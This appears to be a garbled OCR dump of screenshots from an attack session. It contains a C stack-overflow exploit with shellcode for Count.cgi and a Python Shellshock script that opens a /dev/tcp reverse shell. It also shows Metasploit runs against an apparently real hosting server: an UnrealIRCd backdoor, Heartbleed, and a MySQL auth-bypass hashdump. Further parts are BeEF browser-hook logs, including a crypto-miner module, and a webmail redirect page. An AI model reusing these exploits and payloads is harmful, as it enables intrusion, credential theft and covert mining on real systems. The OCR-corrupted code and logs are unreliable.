<iframe sandbox="allow-same-origin allow-scripts allow-top-navigation" id="nonsecureProxyMethod" src="about:blank" style="display:none;"></iframe>

<div id="pageheader">

<div id="connectmsg"><span id="actor">Connection Selection </span><span id="statusBox" style="display:inline;"> ....</span></div>
<div id="connectmethod”>trying: <span id="connectmethodname">preferred</span></div>
</div>

<div id="wrap">
<div class="msg">
<div id="nofirewall" class="fb">
<div class="txtb"> If you are not behind a firewall that blocks port 2096 </div>
<div class="button"> <a href="https://wuw.tevelcyber.com:2096/1ib/emailreader_execute_on_each_page.inc.php" class="createbutton">Enter Here</a> </div>
</div>
<div id="firewall" class="fb2">
<div class="txtb"> If you are behind a firewall
and can not connect to port 2096 </div>
<div class="button"> <a href="https://webmail.brisbanecricketstore.com/1ib/emailreader_execute_on_each_page.inc.php" class="createbutton">Enter Here</a> </div>
</div>
</div>
</div>

<script type="text/javascript”>
<
Ln 150, Col 1 100%  Unix (LF) UTF-8
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#include <stdio.h>

#include <stdlib.h>

char shell[]=
"\x90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\X90\x90\x90\x90\x90\x90\X90\x90\X90\x90\X90\x90\X90\x90\X90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d \x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"

"\x56\x32\x89\x56\x0c \x8d\x56\x10"
"\x89\x46\x10\xbo\xeb\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
\XFE\XFFAXFF\XFF\XFF\XFF\XFF\xFF
\XFE\XFFAXFF\XFF\XFF\XFF\XFF\xFF
\XFE\XFFAXFF\XFF\XFF\XFF\XFF\xFF

\xFF\XFFAxFF

"/usr/X11R6/bin/xtermo-ute-displaye”

"127.000.000.001:00"

\XFE\XFFAXFF\XFF\XFF\XFF\XFF\xFF

I\ \XF AP\ FF\xFF\xFF"
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\xFFAXFFAXFAXFF\XFF\XFFAXFFAxFF"
\xFFAXFF\XFE";

jmp 60

popl %esi

xorl %eax,%eax # efface eax

movl %esi,%ecx # recupere 1'adresse du buffer
leal ox18(%esi),%ebx # recupere 1'adresse des chaines
movb %al,ex2c(%esi) # cree les chaines azt
movb %al,ox30(%esi) #

movb %al,ex39(%esi)

movb %al,exab(%esi)

leal 0x20(%esi),%edx # cree le char**

movl %edx, (%esi)

leal ox2d(%esi),%edx

movl %edx,ox4(%esi)

leal 0x31(%esi),%edx

movl %edx,ox8(%esi)

leal ox3a(%esi),%edx

movl %edx,oxc(%esi)

leal ox10(%esi),%edx

movl %eax,ox10(%esi)

movb $exb,%al

int $ex8e # passe en mode kernel

xorl %ebx,%ebx # termine proprement (exit())
movl %ebx,%eax # si jamais le execve() foire.
inc %eax #

int $oxse #

call -65 # retourne au popl en empilant 1'adresse de la chaine
.byte oxff,oxff,oxff,oxff,oxff,oxff,oxff,oxff
.byte oxff,oxff,oxff,oxff,oxff,oxff,oxff,oxff
.byte oxff,oxff,oxff,oxff,oxff,oxff,oxff,oxff
.ascii \"/usr/X11R6/bin/xtermo\" # 44

.ascii \"-ute\" # 48

.ascii \"-displaye\" # 57 au ;

.ascii \"127.000.000.001:00\" # 75 (total des chaines)
.byte oxff,oxff,oxff,oxff,oxff,oxff,oxff,oxff
.byte oxff,oxff,oxff,oxff,oxff,oxff,oxff,oxff

*/

char gs[70@0];
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char chaine[]="user=a";

unsigned long getesp() {
// asm(*movl %esp,%eax");
return exbfffee3s;

}

void main(int arge, char **argv) {
int compt;
long stack;

stack=getesp();

if(arge>1)
stack+=atoi(argv[1]);

for(compt=0; compt<4104;compt+=4) {
gs[compt+e] = stack & @x000000ff;
gs[compt+1] = (stack & @x@000ffe0) >> 8;

gs[compt+2] = (stack & exeoffeoeo) >> 16;
gs[compt+3] = (stack & exffeoeoeo) >> 24;
}

strepy(gs, chaine);

gs[strlen(chaine)]-exo0;

qs[4104]= stack&ox000000ff;

qs[4105]=(stack&ox00001f00)>>8;
qs[4106]=(stack&eox00f{0000)>>16;
qs[4107]=(stack&eoxff000000)>>24;
qs[4108]= stack&eox000000ff;

qs[4109]=(stack&ex0000ffe0)>>8;
qs[4110]=(stack&eox00f{0000)>>16;
qs[4111]=(stack&eoxff000000)>>24;
qs[4112]= stack&ox000000ff;

qs[4113]=(stack&ox00001f00)>>8;
qs[4114]=(stack&eox00f{0000)>>16;
qs[4115]=(stack&eoxff000000)>>24;
qs[4116]= stack&ox000000ff;

qs[4117]=(stack&ox00001f00)>>8;
qs[4118]=(stack&eox00f{0000)>>16;
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qs[4125]=(stack&ox0000ffee)>>8;
qs[4126]=(stack&ox00ff0000)>>16;
qs[4127]=(stack&oxffe00000)>>24;
qs[4128]= stack&ox000000ff;
qs[4129]=(stack&ox0000f{00)>>8;
qs[4130]=(stack&ox00ff0000)>>16;
qs[4131]=(stack&oxffe00000)>>24;

strcpy ((char*)&qs[4132],shell);

printf("GET /cgi-bin/Count.cgi?%s\n\n",gs);
/*fprintf(stderr,“\n\nadresse: %xox\n",stack);

printf("GET /cgi-bin/Count.cgi?%s HTTP/1.@\nUser-Agent: %x\n\n",gs,stack);
setenv("QUERY_STRING",qs,1);
system("/usr/Tocal/etc/httpd/cgi-bin/Count.cgi");

system("/bin/sh");*/
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#CVE-2014-6271 cgi-bin reverse shell Count.cgi
#

import httplib,urllib,sys

if (len(sys.argv)<4):
print "Usage: %s 192.168.39.52 /cgi-bin/Count.cgi 127.0.0.1/32" % sys.argv[e]
print “Example: %s localhost /cgi-bin/Count.cgi www.tevelcyber.com/8080" % sys.argv[o]
exit(e)

conn = httplib.HTTPConnection(sys.argv1])
reverse_shell="() { ignored;};/bin/bash -1 >& /dev/tcp/%s 0>&1" % sys.argv[3]

headers = {"Content-type": “application/x-www-form-urlencoded",
“test":reverse_shell }

conn.request("GET", sys.argv[2], headers=headers)

res = conn.getresponse()

print res.status, res.reason

data = res.read()

print data
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Metasploit tip: Enable verbose logging with set VERBOSE true
nsf5 exploit(multi/http/apache_mod_cgi_bash_env_exec) > back

msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name  Current Setting Required Description

RHOSTS yves The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>
RPORT 6667 yes The target port (TCP)

Exploit target:

Id Name

© Automatic Target

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 192.185.39.52
rhosts => 192.185.39.52
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.0.10:4444

[-] 192.185.39.52:6667 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (192.185.39.52:6667).
[*] Exploit completed, but no session was created.

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 587

rport => 587

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.0.10:4444

[*] 192.185.39.52:587 - Connected to 192.185.39.52:587...
220-gatora101.hostgator.con ESMTP Exim 4.92 #2 Tue, 05 May 2020 06:14:12 -0500
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.

i*] 192.185.39.52:587 - Sending backdoor command...
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eEF

Offcial websie: htp:/beeforoject com/

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you wil have to ook a browser. To begin with you
can point a browser towards the basic demo page here, o the advanced version here

1fyou want to hook ANY page (for debugging reasons of course),drag the following bookmarkletfnk
o your browser's bookmark bar,then simply clck the shortcut on another page: Hook Me!

After a browser is hooked into the ramework they will appeat i the ‘Hooked Browsers' panel on the
left_ Hooked browsers will appear i either an online o offine state, depencing on how recently they
have polled the framework.

Hooked Browsers

To interact with a hooked browser simply let.clck i,  new b il appear. Each hooked browser tab
has a number of sub-abs, described below:

Details: Dispiay information about the hooked browser afer youve run some command modules.
Logs: Displays recent log enties reated to his partcular hooked browser.
‘Commands: This tab s where modles can be exceuted against the hooked browser. This is
wihere most of the BeEF functionalty resides. Most command modues consis of Javascript code
that s executed against the selected Hooked Browser. Command modules are able to perform any.
actons that can be achieved thiough Javascrpt for exampl they may gather information about the.
Hooked Browser, manipulate the DOM or perform other activites such as exploiting vinerabiltes.
within the local network of the Hooked Brawser.

‘Each command module has a raffc it con, which is used to ndicate the folowing:
& e command module works against the target and should be invisible {0 the user
® The command modue works against the farget, but may be visile o the user

“The command module is yet o be verlfied against hs target
@ The command modue does not work against this target
XssRays: The XssRays tab allows the user (o check i inks, forms and URI path of the page
(where the browser s hooked) i vulnerable 10 XSS.

Proxy: The Prosxy tab allows you to submitarbirary HTTP requests on behalfof the hooked
browser. Each request sent by the Proxy i recorded n the History panel. Cick a istory tem 0

Basic || Requester view the HTTP headers and HTML source of e HTTP response.
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Search
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“The resus flom executed command
modes will be listed here.

Description:  Send commands to be exected on the already deployed BeEF_bind shelcode, and get resuts back.

[t 79

Host: 127001

BeEFBnd 4444
Port:

par Iegisys/Cofnt.cgi

Command: | hostname

BeEFBiNd | Linux.
‘Shellcode:
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RESTful API key: 751flca21264cbed2bc5c623368a81cadf2ba7ba
http://127.0.6.1:6789

BeEF server started (press control+c to stop)

Hard load attempted on module 'browser_autopwn' that is not enabled

File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]

File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]

url [wp.js] unmounted

Hooked browser [1d:2, 1p:127.0.0.1] has executed instructions (status: ERROR) from command module [cid:2, mod: 299, name:'WordPress Add U

[19:17:57][*]
[19:17:57][*]
[19:17:57][*]
[20:29:38][!]
[20:30:56][*]
*1
*1
*1

[20:31:01][
[20:31:06][
[20:31:06][
ser']
[20:31:07][*] Url [wp.js] unmounted
[20:31:07][*] Hooked browser [id:2, ip:127.0.08.1] has executed instructions (status: ERROR) from command module [cid:2, mod: 299, name:'WordPress Add U
ser']
[20:40:01][!] Internal error while creating XSSRays scan on zombie with id HT245Qj9uf8xaxSKpwdyAtd2NcHOtowIfXxxo0kakXhVRtFLWOOPWBS104IzX1MzZuUMOY1KWZAFXS
WIL (undefined method ‘id' for #<BeEF::Core: :Models: :HookedBrowser: :ActiveRecord_Relation:@x800055f5f44d6ade>
Did you mean? ids)
[20:41:22][*] File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]
[20:41:22][*] File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]
[20:41:23][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:13, mod: 293, name
[20:41:33][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:12, mod: 302, name
pt']
[20:41:38][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:11, mod: 3062, name:'Raw JavaScri
pt']
[20:41:38][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (statu:
Miner']
[20:41:39][*] Url [wp.js] unmounted
[20:41:39][*] Hooked browser [id:2, ip:127.0.08.1] has executed instructions (status: ERROR) from command module [cid:3, mod: 299, name:'WordPress Add U
ser']
[20:41:39][*] Url [wp.js] unmounted
[20:41:39][*] Hooked browser [id:2, ip:127.0.08.1] has executed instructions (status: ERROR) from command module [cid:3, mod: 299, name:'WordPress Add U
ser']
[20:41:48][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:1@, mod: 296, name:'Crypto-Loot
Miner']
[20:41:48][*] Hooked browser [id:2, ip:127.0.08.1] has executed instructions (status: ERROR) from command module [cid:1@, mod: 296, name:'Crypto-Loot Mi
ner']
[20:42:00][!] Internal error while creating XSSRays scan on zombie with id HT245Qj9uf8xaxSKpwdyAtd2NcHOtowIfXxxo0kakXhVRtFLWOOPWBS104IzX1MzZuMOY1KWZAFXS
WIL (undefined method ‘id' for #<BeEF::Core: :Models: :HookedBrowser: :ActiveRecord_Relation:@x800055f5F3f3fb3e>
Did you mean? ids)
[20:44:12][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (status: ERROR) from command module [cid:16, mod: 280, nam
66][*] File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]
10][*] Url [wp.js] unmounted
[20:45:10][*] Hooked browser [id:2, ip:127.0.0.1] has executed instructions (status: ERROR) from command module [cid:17, mod: 299, name:'WordPress Add
User']
[20:45:23][*] File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]
e -

Read Gmail']
Raw Javascri

UNKNOWN) from command module [cid:10, mod: 296, name:'Crypto-Loot

Detect Burp']

1 T GeT e
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User']

[20:45:23][*] File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]

[20:45:26][*] Url [wp.js] unmounted

[20:45:26][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (status: ERROR) from command module [cid:18, mod: 300, name:'WordPress Curr
ent User Info']

[20:45:39][*] File [/modules/misc/wordpress/wp.js] bound to Url [/wp.js] using Content-type [application/javascript]

[20:45:43][*] Url [wp.js] unmounted

[20:45:43][*] Hooked browser [id:2, 1p:127.0.0.1] has executed instructions (status: ERROR) from command module [cid:19, mod: 298, name:'WordPress Uplo
ad RCE Plugin']
[20:50:14][*] Hooked browser [id:2, 1p:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:28, mod: 174, name:'Shell Shock
Scanner (Reverse Shell)']

[20:50:17][*] Hooked browser [id:2, 1p:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:29, mod: 174, name:'Shell Shock
Scanner (Reverse Shell)']

[20:51:06][*] Hooked browser [id:2, 1p:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:30, mod: 174, name:'Shell Shock
Scanner (Reverse Shell)']

[20:52:26][*] Hooked browser [id:2, 1p:127.0.0.1] has executed instructions (status: UNKNOWN) from command module [cid:30, mod: 174, name:'Shell Shock
Scanner (Reverse Shell)']

[20:53:39][*] Redirector to [http://beefproject.con] bound to url [/redirect]

[20:53:40][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (status: UNKNOWN) from command module [cid:33, mod: 156, name:'Test HTTP Re
direct']

[20:53:56][!] Internal error while creating XSSRays scan on zombie with id HT245Qj9uf8xaxSKpwdyAtd2NcHOtowIfXxxo0k4kXhVRtFLWOOPWSS104TZX1HZUNOY1KWZAFXS
WIL (undefined method "id' for #<BeEF::Core: :Models: :HookedBrowser: :ActiveRecord_Relation:0x000055f5f43e49b0>

Did you mean? 1ids)

[21:19:21][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (statu:
1
[21:20:27][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (status: SUCCESS) from command module [cid:35, mod: 10, name:'Fingerprint B
rowser']

[21:20:39][!] Internal error while creating XSSRays scan on zombie with id HT245Qj9uf8xaxSKpwdyAtd2NcHOtowIfXxxo0k4kXhVRtFLWOOPWSS104TZX1HZUMOY1KWZAFXS
WIL (undefined method "id' for #<BeEF::Core: :Models: :HookedBrowser: :ActiveRecord_Relation:0x000055f5f437ee30>

Did you mean? 1ids)

[21:20:45][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (status: SUCCESS) from command module [cid:35, mod: 10, name:'Fingerprint B
rowser']

[21:21:08][*] Hooked browser [1d:2, 1p:127.0.6.1] has executed instructions (statu:
rowser']

[21:22:11][*] Redirector to [http://beefproject.con] bound to url [/redirect]
[21:22:12][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (status: UNKNOWN) from command module [cid:36, mod: 156, name:'Test HTTP Re
direct']

[21:22:17][*] Redirector to [http://beefproject.con] bound to url [/redirect]

[21:22:18][*] Hooked browser [1d:2, 1p:127.0.6.1] has executed instructions (status: UNKNOWN) from command module [cid:36, mod: 156, name
direct']

[21:22:42][*] Hooked browser [id:2, 1p:127.0.6.1] has executed instructions (statu:
1
|

UNKNOWN) from command module [cid:34, mod: 7, nam:

Detect FireBug

SUCCESS) from command module [cid:35, mod: 16, name:'Fingerprint B

Test HTTP Re

UNKNOWN) from command module [cid:37, mod: 151, name:'Return Image
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MIIG1TCCBb2gAWIBAGIRAIVEDVVORXXQQHQIKOG2YRUWDQY IK0ZThvCNAQELBQAW
gZAXCZAIBENVBAYTAKACMR SWGQYDVQQIEXIHCMVhdGVY TE1hbmNOZXNOZXIXEDAO
BgNVBACTBINhDGZVCmMQXGJAYBENVBAOTEUNPTUSE TyBDQSBMaW1pdGVKMTYWNAYD
VQQDEY1DTO1PRESEULNBIERVDWFpbiBHYWXpZGFOAWOUIFNLY3VyZSBTZXI2ZXIg
QOEWHCNMTgWOTA2MDAWMDAWWCNMAWOTAIMIMIOTUSKBCMSEWHWYDVQQLEXhE
b21hak4gQ29udHIVbCBIYWXPZGFOZWQXHIACBENVBASTFUVZC2VUdGLhbFNTTCBX
alixkY2FyZDEXMBUGALUEAWWOK1 SncmF 2YXRhc157b20wggEiMABGCSqGSIb3DQER
AQUAAATBDWAWEEEKAOTBAQCE117§V8+S7wgjITrObwQLASYT+VWS578kI1h10Eky
azI1M3z4T1udgmcbXYWaN6UsYBa6VXTVHOCATOIWF 2YFH/+DShOqRE+WZoSYCEap
MdoUgSD7p/miqFug3fxJAmyoUH/7q3vi8XwMlSIXKtME]EgadZisk7it114X54Ug
+fnj5POYUNB7XFpLROGYcdVCPITaP7warrkEJOLbg1ZKWimgFD/UFUGRPI1rALMG
quVc9oMynbDmU/yPJOImF / cO8f 3gNaPglYofemnoIwh27NPc179hDNWVCIUSSSP+
VPaQ5ZHXggS115yPMsiPSMZ300YUOQXemNVBVOUI 7y 3fAGMBAAGI ggNDMIIDVZAT
BENVHSMEGDAWEBSQr2061FoL 2JDE 172300001 ja5zAdBENVHQAEFgQUYGHYhTpZ
2084n11q3xbmDQWx1nQWDEYDVROPAQH/ BAQDAGWEMAWGATUAEWEB /wQCMAAWHQYD
VRO1BBYWFAYIKWYBBQUHAWEGCCSGAQUF BWMCMESGATUAIARIMEYWOGYLKWYBBAGY
MQECAgCWKZAPBEErBEEFBQCCARYdaHROCHM6LY9ZZWNICmUUY29tb2RVLMNVbSID
UFMWCAYGZAEMAQIBMFQGALUAHWRNME SwSaBHOEWGQ2hodHAGLy9jcmwuY29tb2Rv
Y2EUY29tLONPTUIET1ITQURVbWFpb1ZhbG1KYXRpb25TZWNLCMVTZXI2ZXIDQSS5
CmWgYUGCCSGAQUFBWEBBHKwWdZBPBEgrBEEFBQCWAOZDaHROCDOVL2NYdC5b21v
2G93YS53b20VQOINTORPULNBRGOtYWLUVMF saRhdG1vb1N1Y3VyZVNlcnzlckng
LmNydDAKBEgrBgEFBQCWAYYYaHROCDOVL 293 c3AUY29tb2RVY2EUY29tMCCGALUd
EQQgMB6CDIouz3IhdmFOYXIuY29tggxncmF 2YXRhci5jb20wggF +BgorBgEEAdZS
AgQCBIIBbgSCANOBaAB2AOSLVbd1zmC64UIpHEVhNMaiD35FSHLYgWDE416GP3L
AAABZaygz 1 SAAAQDAE CWRQIEdPISkjAVE175KUBKAEIdSmbUiWRa3GPXPVAhYBVZ
HKACIQDMUIGL7UcDUQMS75EX+h00vCbWBIRMNSSL631yeynx4wB2AF6nc/nfvsDn
tTZIfdBI4DI6kZOMhKESEOQYdZaBCUVYAAABZay gz 1 4AAAQDAE CWRQIhAKZoauUsh
vdsMFEBL2KDS@VUTGstqSyvSahta7ELMy3EZAIBEDMI 3tPXENIAL3rTniUMC7pD
yPV921hij13xsBDiBgB2AFWBIMIWKDYBSUOLM1C8U/DASDhACCUIFyY+jgGhOHEIMM
AAABZaygz1UAAAQDAE CWRQINAOMWCaU2 TKWMOACSSPTaVqdtwua2GbTmyolwlazQ
PXEQA1BUAKQzksIC6RCVOI/ukdGSmNSFIZpM7wRxvmUrA2gUTANBgkghkiGOwoB
AQSFAAOCAQEAeya+ihwed/qshgryiTEgizodIAW/wSODd3gI307U4ubLmC60ZUDT
100C90g3AY0zCP5riEXtFDSgCOUODVYFlsvIKnN1GghIseoas6x2v0dZudR9Ekas
SVUTWSi+P9sBE8tkIkycOY2AkaqV/YWYb/BUg976eFOLR7hvr3v24UWtvPICUBEX
CxihLaqlKEoS5K/qmMYNXzQA/FzwXXkbsgiszbBItgvzeoMRZfowol7tiTIEjsdyoe
eqPLUIZTAt/qA74igDDSiHYEp7fUdTa+9dK1xn/Xp81HnTzoq16ddVReINASULZe
FRKV3vmu4g9/I18G5ZH+Q1Z0XEhkv5c75Mu=
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MSTS aUXtllary(scanner/ssL/OpenssL_neartoleed) > OPTLONS

Module options (auxiliary/scanner/ssl/openssl_heartbleed

Name Current Setting Required Description

DUMPFILTER no Pattern to filter leaked memory before storing

LEAK_COUNT 1 yes Number of times to leak memory per SCAN or DUMP invocation

MAX_KEYTRIES 50 yes Max tries to dump key

RESPONSE_TIMEOUT 10 yes Number of seconds to wait for a server response

RHOSTS www. tevelcyber.com yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>

RPORT 443 yes The target port (TCP)

STATUS_EVERY H yes How many retries until key dump status

THREADS 1 yes The number of concurrent threads (max one per host)

TLS_CALLBACK None yes Protocol to use, "None" to use raw TLS sockets (Accepted: None, SMTP, IMAP, JABBER, POP3, FTP, POSTG
RES)

TLS_VERSION 1.2 yes TLS/SSL version to use (Accepted: SSLv3, 1.6, 1.1, 1.2)

Auxiliary action:

Name Description

DUMP Dump memory contents to loot

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set tls_callback imap

tls_callback => imap

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

[-] Auxiliary failed: Msf::OptionvalidateError The following options failed to validate: TLS_CALLBACK.
nsf5 auxiliary(scanner/ssl/openssl_heartbleed) > set tls_callback IMAP

tls_callback => IMAP

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

[*] 192.185.39.52:443
[*] 192.185.39.52:443
[-] 192.185.39.52:443
[-] 192.185.39.52:443 Looks like there isn't leaked information...
[*] www.tevelcyber.com:443 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

nsf5 auxiliary(scanner/ssl/openssl_heartbleed) > set tls_callback SHTP
tls_callback => SHTP

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

Leaking heartbeat response #1
Trying to start SSL via IMAP
STARTTLS failed...
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ccls@ueliarmodspoect x| weverion L cedeeetde | celbooedai/modsiocet > [l

[*] 192.185.39.52:443 - Leaking heartbeat response #1

[*] 192.185.39.52:443 - Trying to start SSL via POP3

[-] 192.185.39.52:443 - STARTTLS failed..

[-] 192.185.39.52:443 - Looks like there isn't leaked information..

[*] www.tevelcyber.com:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
nsf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

[*] 192.185.39.52:443 - Leaking heartbeat response #1

[*] 192.185.39.52:443 - Trying to start SSL via POP3

[-] 192.185.39.52:443 - STARTTLS failed..

[-] 192.185.39.52:443 - Looks like there isn't leaked information..

[*] www.tevelcyber.com:443 - Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

sf5 auxiliary(scanner/ssl/openssl_heartbleed) > set tls_callback POSTGRES
tls_callback => POSTGRES

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

[*] 192.185.39.52:443 - Leaking heartbeat response #1

[*] 192.185.39.52:443 - Trying to start SSL via POSTGRES

[-] 192.185.39.52:443 - STARTTLS failed..

[-] 192.185.39.52:443 - Looks like there isn't leaked information..

[*] www.tevelcyber.com:443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

nsf5 auxiliary(scanner/ssl/openssl_heartbleed) >

msf5 auxiliary(scanner/ssl/openssi_heartbleed) > set tls_callback
set tls_callback FTP set tls_callback POP3

set tls_callback IMAP set tls_callback POSTGRES

set tls_callback JABBER set tls_callback SMTP

set tls_callback None

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > set tls_callback FTP
tls_callback => FTP

msf5 auxiliary(scanner/ssl/openssl_heartbleed) > exploit

[*] 192.185.39.52:443 - Leaking heartbeat response #1

[*] 192.185.39.52:443 - Trying to start SSL via FTP

[-] 192.185.39.52:443 - FTP error:

[-] 192.185.39.52:443 - STARTTLS failed..

[-] 192.185.39.52:443 - Looks like there isn't leaked information..
[*] www.tevelcyber.con:443 - Scanned 1 of 1 hosts (160% complete)

[*]1 Auxiliary module execution completed

nsf5 auxiliary(scanner/ssl/openssl_heartbleed) > [|
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msf5 auxiliary(scanner/mysql/mysql_hashdump) > set rhosts 192.185.39.52
rhosts 192.185.39.52

msf5 auxiliary(scanner/mysql/mysql_hashdump) > check

[*] 192.185.39.52:3306 - This module does not support check.

nsf5 auxiliary(scanner/mysql/mysql_hashdump) > exploit

[-] 192.185.39.52:3306 - Access denied

[*] 192.185.39.52:3306 - Scanned 1 of 1 hosts (160% complete)

[*] Auxiliary module execution completed

msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/scanner/mysql/mysql_

use auxiliary/scanner/mysql/mysql_authbypass_hashdump use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_file_enun use auxiliary/scanner/mysql/nysql_version

use auxiliary/scanner/mysql/mysql_hashdump use auxiliary/scanner/mysql/mysql_writable_dirs
use auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/scanner/mysql/mysql_

use auxiliary/scanner/mysql/mysql_authbypass_hashdump use auxiliary/scanner/mysql/mysql_schemadump
use auxiliary/scanner/mysql/mysql_file_enun use auxiliary/scanner/mysql/nysql_version

use auxiliary/scanner/mysql/mysql_hashdump use auxiliary/scanner/mysql/mysql_writable_dirs
use auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(scanner/mysql/mysql_hashdump) > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > options

Module options (auxiliary/scanner/mysql/mysql_authbypass_hashdump):

Name Current Setting Required Description

RHOSTS, yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>
RPORT EECH yes The target port (TCP)

THREADS 1 yes The number of concurrent threads (max one per host)

USERNAME root yes The username to authenticate as

msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > set rhosts 192.185.39.52
rhosts => 192.185.39.52

msf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > check

[*] 192.185.39.52:3306 - This module does not support check.

nsf5 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > exploit

[+] 192.185.39.52:3306 - 192.185.39.52:3306 The server allows logins, proceeding with bypass test
[*] 192.185.39.52:3306 - 192.185.39.52:3306 Authentication bypass is 16% complete
[*] 192.185.39.52:3306 - 192.185.39.52:3306 Authentication bypass is 20% complete

i*] 192.185.39.52:3306 - 192.185.39.52:3306 Authentication bypass is 30% complete
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